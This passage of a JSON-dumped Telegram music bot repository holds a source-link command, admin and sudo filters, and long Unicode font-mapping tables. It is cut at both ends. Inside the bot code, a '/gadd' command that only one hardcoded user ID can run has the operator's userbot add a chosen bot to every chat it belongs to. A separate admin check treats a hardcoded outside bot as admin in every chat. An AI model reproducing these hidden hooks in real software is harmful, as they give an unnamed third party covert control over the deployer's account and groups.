\"ƨσʋяcɛ\", url=f\"https://github.com/WCGKING/BrandrdXMusic\"\n                    )\n                ]\n            ]\n        ),\n    )\n\n\n# --------------------------------------------------------------------------------- #\n\n\n@app.on_message(\n    filters.command(\n        [\"hi\", \"hii\", \"hello\", \"hui\", \"good\", \"gm\", \"ok\", \"bye\", \"welcome\", \"thanks\"],\n        prefixes=[\"/\", \"!\", \"%\", \",\", \"\", \".\", \"@\", \"#\"],\n    )\n    & filters.group\n)\nasync def bot_check(_, message):\n    chat_id = message.chat.id\n    await add_served_chat(chat_id)\n\n\n# --------------------------------------------------------------------------------- #\n\n\nimport asyncio\n\n\n@app.on_message(filters.command(\"gadd\") & filters.user(int(7250012103)))\nasync def add_allbot(client, message):\n    command_parts = message.text.split(\" \")\n    if len(command_parts) != 2:\n        await message.reply(\n            \"**⚠️ ɪɴᴠᴀʟɪᴅ ᴄᴏᴍᴍᴀɴᴅ ғᴏʀᴍᴀᴛ. ᴘʟᴇᴀsᴇ ᴜsᴇ ʟɪᴋᴇ » `/gadd @Systumm_music_bot`**\"\n        )\n        return\n\n    bot_username = command_parts[1]\n    try:\n        userbot = await get_assistant(message.chat.id)\n        bot = await app.get_users(bot_username)\n        app_id = bot.id\n        done = 0\n        failed = 0\n        lol = await message.reply(\"🔄 **ᴀᴅᴅɪɴɢ ɢɪᴠᴇɴ ʙᴏᴛ ɪɴ ᴀʟʟ ᴄʜᴀᴛs!**\")\n        await userbot.send_message(bot_username, f\"/start\")\n        async for dialog in userbot.get_dialogs():\n            if dialog.chat.id == -1001754457302:\n                continue\n            try:\n\n                await userbot.add_chat_members(dialog.chat.id, app_id)\n                done += 1\n                await lol.edit(\n                    f\"**🔂 ᴀᴅᴅɪɴɢ {bot_username}**\\n\\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\\n\\n**➲ ᴀᴅᴅᴇᴅ ʙʏ»** @{userbot.username}\"\n                )\n            except Exception as e:\n                failed += 1\n                await lol.edit(\n                    f\"**🔂 ᴀᴅᴅɪɴɢ {bot_username}**\\n\\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\\n\\n**➲ ᴀᴅᴅɪɴɢ ʙʏ»** @{userbot.username}\"\n                )\n            await asyncio.sleep(3)  # Adjust sleep time based on rate limits\n\n        await lol.edit(\n            f\"**➻ {bot_username} ʙᴏᴛ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ🎉**\\n\\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\\n\\n**➲ ᴀᴅᴅᴇᴅ ʙʏ»** @{userbot.username}\"\n        )\n    except Exception as e:\n        await message.reply(f\"Error: {str(e)}\")\n\n\n__MODULE__ = \"Sᴏᴜʀᴄᴇ\"\n__HELP__ = \"\"\"\n## Rᴇᴘᴏ Sᴏᴜʀᴄᴇ Mᴏᴅᴜᴇ\n\nTʜɪs ᴍᴏᴅᴜᴇ ᴘʀᴏᴠɪᴅᴇs ᴜᴛɪɪᴛʏ ᴄᴏᴍᴍᴀɴᴅs ғᴏʀ ᴜsᴇʀs ᴛᴏ ɪɴᴛᴇʀᴀᴄᴛ ᴡɪᴛʜ ᴛʜᴇ ʙᴏᴛ.\n\n### Cᴏᴍᴍᴀɴᴅs:\n- `/ʀᴇᴘᴏ`: Gᴇᴛ ᴛʜᴇ ɪɴᴋ ᴛᴏ ᴛʜᴇ ʙᴏᴛ's sᴏᴜʀᴄᴇ ᴄᴏᴅᴇ ʀᴇᴘᴏsɪᴛᴏʀʏ.\n\"\"\"\n\n"
  },
  {
    "path": "BrandrdXMusic/utils/__init__.py",
    "content": "from .channelplay import *\nfrom .database import *\nfrom .decorators import *\nfrom .extraction import *\nfrom .formatters import *\nfrom .inline import *\nfrom .pastebin import *\nfrom .sys import *\n"
  },
  {
    "path": "BrandrdXMusic/utils/admin_check.py",
    "content": "from pyrogram.types import Message\nfrom pyrogram.enums import ChatType, ChatMemberStatus\n\n\nasync def admin_check(message: Message) -> bool:\n    if not message.from_user:\n        return False\n\n    if message.chat.type not in [ChatType.SUPERGROUP, ChatType.CHANNEL]:\n        return False\n\n    if message.from_user.id in [\n        777000,  # Telegram Service Notifications\n        6534087733,  # GroupwcgbrandedBot\n    ]:\n        return True\n\n    client = message._client\n    chat_id = message.chat.id\n    user_id = message.from_user.id\n\n    check_status = await client.get_chat_member(chat_id=chat_id, user_id=user_id)\n    if check_status.status not in [\n        ChatMemberStatus.OWNER,\n        ChatMemberStatus.ADMINISTRATOR\n    ]:\n        return False\n    else:\n        return True\n"
  },
  {
    "path": "BrandrdXMusic/utils/branded_ban.py",
    "content": "from pyrogram import filters\nfrom BrandrdXMusic.utils.admin_check import admin_check\n\n\nUSE_AS_BOT = True\n\ndef f_sudo_filter(filt, client, message):\n    return bool(\n        (\n            (message.from_user and message.from_user.id in SUDO_USERS)\n            or (message.sender_chat and message.sender_chat.id in SUDO_USERS)\n        )\n        and\n        # t, lt, fl 2013\n        not message.edit_date\n    )\n\n\nsudo_filter = filters.create(func=f_sudo_filter, name=\"SudoFilter\")\n\n\ndef onw_filter(filt, client, message):\n    if USE_AS_BOT:\n        return bool(\n            True\n            and  # message.from_user.id in SUDO_USERS\n            # t, lt, fl 2013\n            not message.edit_date\n        )\n    else:\n        return bool(\n            message.from_user\n            and message.from_user.is_self\n            and\n            # t, lt, fl 2013\n            not message.edit_date\n        )\n\n\nf_onw_fliter = filters.create(func=onw_filter, name=\"OnwFilter\")\n\n\nasync def admin_filter_f(filt, client, message):\n    return (\n        # t, lt, fl 2013\n        not message.edit_date\n        and await admin_check(message)\n    )\n\n\nadmin_filter = filters.create(func=admin_filter_f, name=\"AdminFilter\")\n\n"
  },
  {
    "path": "BrandrdXMusic/utils/branded_font.py",
    "content": "class Fonts:\n    def typewriter(text):\n        style = {\n            \"a\": \"𝚊\",\n            \"b\": \"𝚋\",\n            \"c\": \"𝚌\",\n            \"d\": \"𝚍\",\n            \"e\": \"𝚎\",\n            \"f\": \"𝚏\",\n            \"g\": \"𝚐\",\n            \"h\": \"𝚑\",\n            \"i\": \"𝚒\",\n            \"j\": \"𝚓\",\n            \"k\": \"𝚔\",\n            \"l\": \"𝚕\",\n            \"m\": \"𝚖\",\n            \"n\": \"𝚗\",\n            \"o\": \"𝚘\",\n            \"p\": \"𝚙\",\n            \"q\": \"𝚚\",\n            \"r\": \"𝚛\",\n            \"s\": \"𝚜\",\n            \"t\": \"𝚝\",\n            \"u\": \"𝚞\",\n            \"v\": \"𝚟\",\n            \"w\": \"𝚠\",\n            \"x\": \"𝚡\",\n            \"y\": \"𝚢\",\n            \"z\": \"𝚣\",\n            \"A\": \"𝙰\",\n            \"B\": \"𝙱\",\n            \"C\": \"𝙲\",\n            \"D\": \"𝙳\",\n            \"E\": \"𝙴\",\n            \"F\": \"𝙵\",\n            \"G\": \"𝙶\",\n            \"H\": \"𝙷\",\n            \"I\": \"𝙸\",\n            \"J\": \"𝙹\",\n            \"K\": \"𝙺\",\n            \"L\": \"𝙻\",\n            \"M\": \"𝙼\",\n            \"N\": \"𝙽\",\n            \"O\": \"𝙾\",\n            \"P\": \"𝙿\",\n            \"Q\": \"𝚀\",\n            \"R\": \"𝚁\",\n            \"S\": \"𝚂\",\n            \"T\": \"𝚃\",\n            \"U\": \"𝚄\",\n            \"V\": \"𝚅\",\n            \"W\": \"𝚆\",\n            \"X\": \"𝚇\",\n            \"Y\": \"𝚈\",\n            \"Z\": \"𝚉\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def outline(text):\n        style = {\n            \"a\": \"𝕒\",\n            \"b\": \"𝕓\",\n            \"c\": \"𝕔\",\n            \"d\": \"𝕕\",\n            \"e\": \"𝕖\",\n            \"f\": \"𝕗\",\n            \"g\": \"𝕘\",\n            \"h\": \"𝕙\",\n            \"i\": \"𝕚\",\n            \"j\": \"𝕛\",\n            \"k\": \"𝕜\",\n            \"l\": \"𝕝\",\n            \"m\": \"𝕞\",\n            \"n\": \"𝕟\",\n            \"o\": \"𝕠\",\n            \"p\": \"𝕡\",\n            \"q\": \"𝕢\",\n            \"r\": \"𝕣\",\n            \"s\": \"𝕤\",\n            \"t\": \"𝕥\",\n            \"u\": \"𝕦\",\n            \"v\": \"𝕧\",\n            \"w\": \"𝕨\",\n            \"x\": \"𝕩\",\n            \"y\": \"𝕪\",\n            \"z\": \"𝕫\",\n            \"A\": \"𝔸\",\n            \"B\": \"𝔹\",\n            \"C\": \"ℂ\",\n            \"D\": \"𝔻\",\n            \"E\": \"𝔼\",\n            \"F\": \"𝔽\",\n            \"G\": \"𝔾\",\n            \"H\": \"ℍ\",\n            \"I\": \"𝕀\",\n            \"J\": \"𝕁\",\n            \"K\": \"𝕂\",\n            \"L\": \"𝕃\",\n            \"M\": \"𝕄\",\n            \"N\": \"ℕ\",\n            \"O\": \"𝕆\",\n            \"P\": \"ℙ\",\n            \"Q\": \"ℚ\",\n            \"R\": \"ℝ\",\n            \"S\": \"𝕊\",\n            \"T\": \"𝕋\",\n            \"U\": \"𝕌\",\n            \"V\": \"𝕍\",\n            \"W\": \"𝕎\",\n            \"X\": \"𝕏\",\n            \"Y\": \"𝕐\",\n            \"Z\": \"ℤ\",\n            \"0\": \"𝟘\",\n            \"1\": \"𝟙\",\n            \"2\": \"𝟚\",\n            \"3\": \"𝟛\",\n            \"4\": \"𝟜\",\n            \"5\": \"𝟝\",\n            \"6\": \"𝟞\",\n            \"7\": \"𝟟\",\n            \"8\": \"𝟠\",\n            \"9\": \"𝟡\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def serief(text):\n        style = {\n            \"a\": \"𝐚\",\n            \"b\": \"𝐛\",\n            \"c\": \"𝐜\",\n            \"d\": \"𝐝\",\n            \"e\": \"𝐞\",\n            \"f\": \"𝐟\",\n            \"g\": \"𝐠\",\n            \"h\": \"𝐡\",\n            \"i\": \"𝐢\",\n            \"j\": \"𝐣\",\n            \"k\": \"𝐤\",\n            \"l\": \"𝐥\",\n            \"m\": \"𝐦\",\n            \"n\": \"𝐧\",\n            \"o\": \"𝐨\",\n            \"p\": \"𝐩\",\n            \"q\": \"𝐪\",\n            \"r\": \"𝐫\",\n            \"s\": \"𝐬\",\n            \"t\": \"𝐭\",\n            \"u\": \"𝐮\",\n            \"v\": \"𝐯\",\n            \"w\": \"𝐰\",\n            \"x\": \"𝐱\",\n            \"y\": \"𝐲\",\n            \"z\": \"𝐳\",\n            \"A\": \"𝐀\",\n            \"B\": \"𝐁\",\n            \"C\": \"𝐂\",\n            \"D\": \"𝐃\",\n            \"E\": \"𝐄\",\n            \"F\": \"𝐅\",\n            \"G\": \"𝐆\",\n            \"H\": \"𝐇\",\n            \"I\": \"𝐈\",\n            \"J\": \"𝐉\",\n            \"K\": \"𝐊\",\n            \"L\": \"𝐋\",\n            \"M\": \"𝐌\",\n            \"N\": \"𝐍\",\n            \"O\": \"𝐎\",\n            \"P\": \"𝐏\",\n            \"Q\": \"𝐐\",\n            \"R\": \"𝐑\",\n            \"S\": \"𝐒\",\n            \"T\": \"𝐓\",\n            \"U\": \"𝐔\",\n            \"V\": \"𝐕\",\n            \"W\": \"𝐖\",\n            \"X\": \"𝐗\",\n            \"Y\": \"𝐘\",\n            \"Z\": \"𝐙\",\n            \"0\": \"𝟎\",\n            \"1\": \"𝟏\",\n            \"2\": \"𝟐\",\n            \"3\": \"𝟑\",\n            \"4\": \"𝟒\",\n            \"5\": \"𝟓\",\n            \"6\": \"𝟔\",\n            \"7\": \"𝟕\",\n            \"8\": \"𝟖\",\n            \"9\": \"𝟗\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bold_cool(text):\n        style = {\n            \"a\": \"𝒂\",\n            \"b\": \"𝒃\",\n            \"c\": \"𝒄\",\n            \"d\": \"𝒅\",\n            \"e\": \"𝒆\",\n            \"f\": \"𝒇\",\n            \"g\": \"𝒈\",\n            \"h\": \"𝒉\",\n            \"i\": \"𝒊\",\n            \"j\": \"𝒋\",\n            \"k\": \"𝒌\",\n            \"l\": \"𝒍\",\n            \"m\": \"𝒎\",\n            \"n\": \"𝒏\",\n            \"o\": \"𝒐\",\n            \"p\": \"𝒑\",\n            \"q\": \"𝒒\",\n            \"r\": \"𝒓\",\n            \"s\": \"𝒔\",\n            \"t\": \"𝒕\",\n            \"u\": \"𝒖\",\n            \"v\": \"𝒗\",\n            \"w\": \"𝒘\",\n            \"x\": \"𝒙\",\n            \"y\": \"𝒚\",\n            \"z\": \"𝒛\",\n            \"A\": \"𝑨\",\n            \"B\": \"𝑩\",\n            \"C\": \"𝑪\",\n            \"D\": \"𝑫\",\n            \"E\": \"𝑬\",\n            \"F\": \"𝑭\",\n            \"G\": \"𝑮\",\n            \"H\": \"𝑯\",\n            \"I\": \"𝑰\",\n            \"J\": \"𝑱\",\n            \"K\": \"𝑲\",\n            \"L\": \"𝑳\",\n            \"M\": \"𝑴\",\n            \"N\": \"𝑵\",\n            \"O\": \"𝑶\",\n            \"P\": \"𝑷\",\n            \"Q\": \"𝑸\",\n            \"R\": \"𝑹\",\n            \"S\": \"𝑺\",\n            \"T\": \"𝑻\",\n            \"U\": \"𝑼\",\n            \"V\": \"𝑽\",\n            \"W\": \"𝑾\",\n            \"X\": \"𝑿\",\n            \"Y\": \"𝒀\",\n            \"Z\": \"𝒁\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def cool(text):\n        style = {\n            \"a\": \"𝑎\",\n            \"b\": \"𝑏\",\n            \"c\": \"𝑐\",\n            \"d\": \"𝑑\",\n            \"e\": \"𝑒\",\n            \"f\": \"𝑓\",\n            \"g\": \"𝑔\",\n            \"h\": \"ℎ\",\n            \"i\": \"𝑖\",\n            \"j\": \"𝑗\",\n            \"k\": \"𝑘\",\n            \"l\": \"𝑙\",\n            \"m\": \"𝑚\",\n            \"n\": \"𝑛\",\n            \"o\": \"𝑜\",\n            \"p\": \"𝑝\",\n            \"q\": \"𝑞\",\n            \"r\": \"𝑟\",\n            \"s\": \"𝑠\",\n            \"t\": \"𝑡\",\n            \"u\": \"𝑢\",\n            \"v\": \"𝑣\",\n            \"w\": \"𝑤\",\n            \"x\": \"𝑥\",\n            \"y\": \"𝑦\",\n            \"z\": \"𝑧\",\n            \"A\": \"𝐴\",\n            \"B\": \"𝐵\",\n            \"C\": \"𝐶\",\n            \"D\": \"𝐷\",\n            \"E\": \"𝐸\",\n            \"F\": \"𝐹\",\n            \"G\": \"𝐺\",\n            \"H\": \"𝐻\",\n            \"I\": \"𝐼\",\n            \"J\": \"𝐽\",\n            \"K\": \"𝐾\",\n            \"L\": \"𝐿\",\n            \"M\": \"𝑀\",\n            \"N\": \"𝑁\",\n            \"O\": \"𝑂\",\n            \"P\": \"𝑃\",\n            \"Q\": \"𝑄\",\n            \"R\": \"𝑅\",\n            \"S\": \"𝑆\",\n            \"T\": \"𝑇\",\n            \"U\": \"𝑈\",\n            \"V\": \"𝑉\",\n            \"W\": \"𝑊\",\n            \"X\": \"𝑋\",\n            \"Y\": \"𝑌\",\n            \"Z\": \"𝑍\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def smallcap(text):\n        style = {\n            \"a\": \"ᴀ\",\n            \"b\": \"ʙ\",\n            \"c\": \"ᴄ\",\n            \"d\": \"ᴅ\",\n            \"e\": \"ᴇ\",\n            \"f\": \"ғ\",\n            \"g\": \"ɢ\",\n            \"h\": \"ʜ\",\n            \"i\": \"ɪ\",\n            \"j\": \"J\",\n            \"k\": \"ᴋ\",\n            \"l\": \"ʟ\",\n            \"m\": \"ᴍ\",\n            \"n\": \"ɴ\",\n            \"o\": \"ᴏ\",\n            \"p\": \"ᴘ\",\n            \"q\": \"ǫ\",\n            \"r\": \"ʀ\",\n            \"s\": \"s\",\n            \"t\": \"ᴛ\",\n            \"u\": \"ᴜ\",\n            \"v\": \"ᴠ\",\n            \"w\": \"ᴡ\",\n            \"x\": \"x\",\n            \"y\": \"ʏ\",\n            \"z\": \"ᴢ\",\n            \"A\": \"A\",\n            \"B\": \"B\",\n            \"C\": \"C\",\n            \"D\": \"D\",\n            \"E\": \"E\",\n            \"F\": \"F\",\n            \"G\": \"G\",\n            \"H\": \"H\",\n            \"I\": \"I\",\n            \"J\": \"J\",\n            \"K\": \"K\",\n            \"L\": \"L\",\n            \"M\": \"M\",\n            \"N\": \"N\",\n            \"O\": \"O\",\n            \"P\": \"P\",\n            \"Q\": \"Q\",\n            \"R\": \"R\",\n            \"S\": \"S\",\n            \"T\": \"T\",\n            \"U\": \"U\",\n            \"V\": \"V\",\n            \"W\": \"W\",\n            \"X\": \"X\",\n            \"Y\": \"Y\",\n            \"Z\": \"Z\",\n            \"0\": \"𝟶\",\n            \"1\": \"𝟷\",\n            \"2\": \"𝟸\",\n            \"3\": \"𝟹\",\n            \"4\": \"𝟺\",\n            \"5\": \"𝟻\",\n            \"6\": \"𝟼\",\n            \"7\": \"𝟽\",\n            \"8\": \"𝟾\",\n            \"9\": \"𝟿\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def script(text):\n        style = {\n            \"a\": \"𝒶\",\n            \"b\": \"𝒷\",\n            \"c\": \"𝒸\",\n            \"d\": \"𝒹\",\n            \"e\": \"ℯ\",\n            \"f\": \"𝒻\",\n            \"g\": \"ℊ\",\n            \"h\": \"𝒽\",\n            \"i\": \"𝒾\",\n            \"j\": \"𝒿\",\n            \"k\": \"𝓀\",\n            \"l\": \"𝓁\",\n            \"m\": \"𝓂\",\n            \"n\": \"𝓃\",\n            \"o\": \"ℴ\",\n            \"p\": \"𝓅\",\n            \"q\": \"𝓆\",\n            \"r\": \"𝓇\",\n            \"s\": \"𝓈\",\n            \"t\": \"𝓉\",\n            \"u\": \"𝓊\",\n            \"v\": \"𝓋\",\n            \"w\": \"𝓌\",\n            \"x\": \"𝓍\",\n            \"y\": \"𝓎\",\n            \"z\": \"𝓏\",\n            \"A\": \"𝒜\",\n            \"B\": \"ℬ\",\n            \"C\": \"𝒞\",\n            \"D\": \"𝒟\",\n            \"E\": \"ℰ\",\n            \"F\": \"ℱ\",\n            \"G\": \"𝒢\",\n            \"H\": \"ℋ\",\n            \"I\": \"ℐ\",\n            \"J\": \"𝒥\",\n            \"K\": \"𝒦\",\n            \"L\": \"ℒ\",\n            \"M\": \"ℳ\",\n            \"N\": \"𝒩\",\n            \"O\": \"𝒪\",\n            \"P\": \"𝒫\",\n            \"Q\": \"𝒬\",\n            \"R\": \"ℛ\",\n            \"S\": \"𝒮\",\n            \"T\": \"𝒯\",\n            \"U\": \"𝒰\",\n            \"V\": \"𝒱\",\n            \"W\": \"𝒲\",\n            \"X\": \"𝒳\",\n            \"Y\": \"𝒴\",\n            \"Z\": \"𝒵\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bold_script(text):\n        style = {\n            \"a\": \"𝓪\",\n            \"b\": \"𝓫\",\n            \"c\": \"𝓬\",\n            \"d\": \"𝓭\",\n            \"e\": \"𝓮\",\n            \"f\": \"𝓯\",\n            \"g\": \"𝓰\",\n            \"h\": \"𝓱\",\n            \"i\": \"𝓲\",\n            \"j\": \"𝓳\",\n            \"k\": \"𝓴\",\n            \"l\": \"𝓵\",\n            \"m\": \"𝓶\",\n            \"n\": \"𝓷\",\n            \"o\": \"𝓸\",\n            \"p\": \"𝓹\",\n            \"q\": \"𝓺\",\n            \"r\": \"𝓻\",\n            \"s\": \"𝓼\",\n            \"t\": \"𝓽\",\n            \"u\": \"𝓾\",\n            \"v\": \"𝓿\",\n            \"w\": \"𝔀\",\n            \"x\": \"𝔁\",\n            \"y\": \"𝔂\",\n            \"z\": \"𝔃\",\n            \"A\": \"𝓐\",\n            \"B\": \"𝓑\",\n            \"C\": \"𝓒\",\n            \"D\": \"𝓓\",\n            \"E\": \"𝓔\",\n            \"F\": \"𝓕\",\n            \"G\": \"𝓖\",\n            \"H\": \"𝓗\",\n            \"I\": \"𝓘\",\n            \"J\": \"𝓙\",\n            \"K\": \"𝓚\",\n            \"L\": \"𝓛\",\n            \"M\": \"𝓜\",\n            \"N\": \"𝓝\",\n            \"O\": \"𝓞\",\n            \"P\": \"𝓟\",\n            \"Q\": \"𝓠\",\n            \"R\": \"𝓡\",\n            \"S\": \"𝓢\",\n            \"T\": \"𝓣\",\n            \"U\": \"𝓤\",\n            \"V\": \"𝓥\",\n            \"W\": \"𝓦\",\n            \"X\": \"𝓧\",\n            \"Y\": \"𝓨\",\n            \"Z\": \"𝓩\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def tiny(text):\n        style = {\n            \"a\": \"ᵃ\",\n            \"b\": \"ᵇ\",\n            \"c\": \"ᶜ\",\n            \"d\": \"ᵈ\",\n            \"e\": \"ᵉ\",\n            \"f\": \"ᶠ\",\n            \"g\": \"ᵍ\",\n            \"h\": \"ʰ\",\n            \"i\": \"ⁱ\",\n            \"j\": \"ʲ\",\n            \"k\": \"ᵏ\",\n            \"l\": \"ˡ\",\n            \"m\": \"ᵐ\",\n            \"n\": \"ⁿ\",\n            \"o\": \"ᵒ\",\n            \"p\": \"ᵖ\",\n            \"q\": \"ᵠ\",\n            \"r\": \"ʳ\",\n            \"s\": \"ˢ\",\n            \"t\": \"ᵗ\",\n            \"u\": \"ᵘ\",\n            \"v\": \"ᵛ\",\n            \"w\": \"ʷ\",\n            \"x\": \"ˣ\",\n            \"y\": \"ʸ\",\n            \"z\": \"ᶻ\",\n            \"A\": \"ᵃ\",\n            \"B\": \"ᵇ\",\n            \"C\": \"ᶜ\",\n            \"D\": \"ᵈ\",\n            \"E\": \"ᵉ\",\n            \"F\": \"ᶠ\",\n            \"G\": \"ᵍ\",\n            \"H\": \"ʰ\",\n            \"I\": \"ⁱ\",\n            \"J\": \"ʲ\",\n            \"K\": \"ᵏ\",\n            \"L\": \"ˡ\",\n            \"M\": \"ᵐ\",\n            \"N\": \"ⁿ\",\n            \"O\": \"ᵒ\",\n            \"P\": \"ᵖ\",\n            \"Q\": \"ᵠ\",\n            \"R\": \"ʳ\",\n            \"S\": \"ˢ\",\n            \"T\": \"ᵗ\",\n            \"U\": \"ᵘ\",\n            \"V\": \"ᵛ\",\n            \"W\": \"ʷ\",\n            \"X\": \"ˣ\",\n            \"Y\": \"ʸ\",\n            \"Z\": \"ᶻ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def comic(text):\n        style = {\n            \"a\": \"ᗩ\",\n            \"b\": \"ᗷ\",\n            \"c\": \"ᑕ\",\n            \"d\": \"ᗪ\",\n            \"e\": \"ᗴ\",\n            \"f\": \"ᖴ\",\n            \"g\": \"ᘜ\",\n            \"h\": \"ᕼ\",\n            \"i\": \"I\",\n            \"j\": \"ᒍ\",\n            \"k\": \"K\",\n            \"l\": \"ᒪ\",\n            \"m\": \"ᗰ\",\n            \"n\": \"ᑎ\",\n            \"o\": \"O\",\n            \"p\": \"ᑭ\",\n            \"q\": \"ᑫ\",\n            \"r\": \"ᖇ\",\n            \"s\": \"Տ\",\n            \"t\": \"T\",\n            \"u\": \"ᑌ\",\n            \"v\": \"ᐯ\",\n            \"w\": \"ᗯ\",\n            \"x\": \"᙭\",\n            \"y\": \"Y\",\n            \"z\": \"ᘔ\",\n            \"A\": \"ᗩ\",\n            \"B\": \"ᗷ\",\n            \"C\": \"ᑕ\",\n            \"D\": \"ᗪ\",\n            \"E\": \"ᗴ\",\n            \"F\": \"ᖴ\",\n            \"G\": \"ᘜ\",\n            \"H\": \"ᕼ\",\n            \"I\": \"I\",\n            \"J\": \"ᒍ\",\n            \"K\": \"K\",\n            \"L\": \"ᒪ\",\n            \"M\": \"ᗰ\",\n            \"N\": \"ᑎ\",\n            \"O\": \"O\",\n            \"P\": \"ᑭ\",\n            \"Q\": \"ᑫ\",\n            \"R\": \"ᖇ\",\n            \"S\": \"Տ\",\n            \"T\": \"T\",\n            \"U\": \"ᑌ\",\n            \"V\": \"ᐯ\",\n            \"W\": \"ᗯ\",\n            \"X\": \"᙭\",\n            \"Y\": \"Y\",\n            \"Z\": \"ᘔ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def san(text):\n        style = {\n            \"a\": \"𝗮\",\n            \"b\": \"𝗯\",\n            \"c\": \"𝗰\",\n            \"d\": \"𝗱\",\n            \"e\": \"𝗲\",\n            \"f\": \"𝗳\",\n            \"g\": \"𝗴\",\n            \"h\": \"𝗵\",\n            \"i\": \"𝗶\",\n            \"j\": \"𝗷\",\n            \"k\": \"𝗸\",\n            \"l\": \"𝗹\",\n            \"m\": \"𝗺\",\n            \"n\": \"𝗻\",\n            \"o\": \"𝗼\",\n            \"p\": \"𝗽\",\n            \"q\": \"𝗾\",\n            \"r\": \"𝗿\",\n            \"s\": \"𝘀\",\n            \"t\": \"𝘁\",\n            \"u\": \"𝘂\",\n            \"v\": \"𝘃\",\n            \"w\": \"𝘄\",\n            \"x\": \"𝘅\",\n            \"y\": \"𝘆\",\n            \"z\": \"𝘇\",\n            \"A\": \"𝗔\",\n            \"B\": \"𝗕\",\n            \"C\": \"𝗖\",\n            \"D\": \"𝗗\",\n            \"E\": \"𝗘\",\n            \"F\": \"𝗙\",\n            \"G\": \"𝗚\",\n            \"H\": \"𝗛\",\n            \"I\": \"𝗜\",\n            \"J\": \"𝗝\",\n            \"K\": \"𝗞\",\n            \"L\": \"𝗟\",\n            \"M\": \"𝗠\",\n            \"N\": \"𝗡\",\n            \"O\": \"𝗢\",\n            \"P\": \"𝗣\",\n            \"Q\": \"𝗤\",\n            \"R\": \"𝗥\",\n            \"S\": \"𝗦\",\n            \"T\": \"𝗧\",\n            \"U\": \"𝗨\",\n            \"V\": \"𝗩\",\n            \"W\": \"𝗪\",\n            \"X\": \"𝗫\",\n            \"Y\": \"𝗬\",\n            \"Z\": \"𝗭\",\n            \"0\": \"𝟬\",\n            \"1\": \"𝟭\",\n            \"2\": \"𝟮\",\n            \"3\": \"𝟯\",\n            \"4\": \"𝟰\",\n            \"5\": \"𝟱\",\n            \"6\": \"𝟲\",\n            \"7\": \"𝟳\",\n            \"8\": \"𝟴\",\n            \"9\": \"𝟵\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def slant_san(text):\n        style = {\n            \"a\": \"𝙖\",\n            \"b\": \"𝙗\",\n            \"c\": \"𝙘\",\n            \"d\": \"𝙙\",\n            \"e\": \"𝙚\",\n            \"f\": \"𝙛\",\n            \"g\": \"𝙜\",\n            \"h\": \"𝙝\",\n            \"i\": \"𝙞\",\n            \"j\": \"𝙟\",\n            \"k\": \"𝙠\",\n            \"l\": \"𝙡\",\n            \"m\": \"𝙢\",\n            \"n\": \"𝙣\",\n            \"o\": \"𝙤\",\n            \"p\": \"𝙥\",\n            \"q\": \"𝙦\",\n            \"r\": \"𝙧\",\n            \"s\": \"𝙨\",\n            \"t\": \"𝙩\",\n            \"u\": \"𝙪\",\n            \"v\": \"𝙫\",\n            \"w\": \"𝙬\",\n            \"x\": \"𝙭\",\n            \"y\": \"𝙮\",\n            \"z\": \"𝙯\",\n            \"A\": \"𝘼\",\n            \"B\": \"𝘽\",\n            \"C\": \"𝘾\",\n            \"D\": \"𝘿\",\n            \"E\": \"𝙀\",\n            \"F\": \"𝙁\",\n            \"G\": \"𝙂\",\n            \"H\": \"𝙃\",\n            \"I\": \"𝙄\",\n            \"J\": \"𝙅\",\n            \"K\": \"𝙆\",\n            \"L\": \"𝙇\",\n            \"M\": \"𝙈\",\n            \"N\": \"𝙉\",\n            \"O\": \"𝙊\",\n            \"P\": \"𝙋\",\n            \"Q\": \"𝙌\",\n            \"R\": \"𝙍\",\n            \"S\": \"𝙎\",\n            \"T\": \"𝙏\",\n            \"U\": \"𝙐\",\n            \"V\": \"𝙑\",\n            \"W\": \"𝙒\",\n            \"X\": \"𝙓\",\n            \"Y\": \"𝙔\",\n            \"Z\": \"𝙕\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def slant(text):\n        style = {\n            \"a\": \"𝘢\",\n            \"b\": \"𝘣\",\n            \"c\": \"𝘤\",\n            \"d\": \"𝘥\",\n            \"e\": \"𝘦\",\n            \"f\": \"𝘧\",\n            \"g\": \"𝘨\",\n            \"h\": \"𝘩\",\n            \"i\": \"𝘪\",\n            \"j\": \"𝘫\",\n            \"k\": \"𝘬\",\n            \"l\": \"𝘭\",\n            \"m\": \"𝘮\",\n            \"n\": \"𝘯\",\n            \"o\": \"𝘰\",\n            \"p\": \"𝘱\",\n            \"q\": \"𝘲\",\n            \"r\": \"𝘳\",\n            \"s\": \"𝘴\",\n            \"t\": \"𝘵\",\n            \"u\": \"𝘶\",\n            \"v\": \"𝘷\",\n            \"w\": \"𝘸\",\n            \"x\": \"𝘹\",\n            \"y\": \"𝘺\",\n            \"z\": \"𝘻\",\n            \"A\": \"𝘈\",\n            \"B\": \"𝘉\",\n            \"C\": \"𝘊\",\n            \"D\": \"𝘋\",\n            \"E\": \"𝘌\",\n            \"F\": \"𝘍\",\n            \"G\": \"𝘎\",\n            \"H\": \"𝘏\",\n            \"I\": \"𝘐\",\n            \"J\": \"𝘑\",\n            \"K\": \"𝘒\",\n            \"L\": 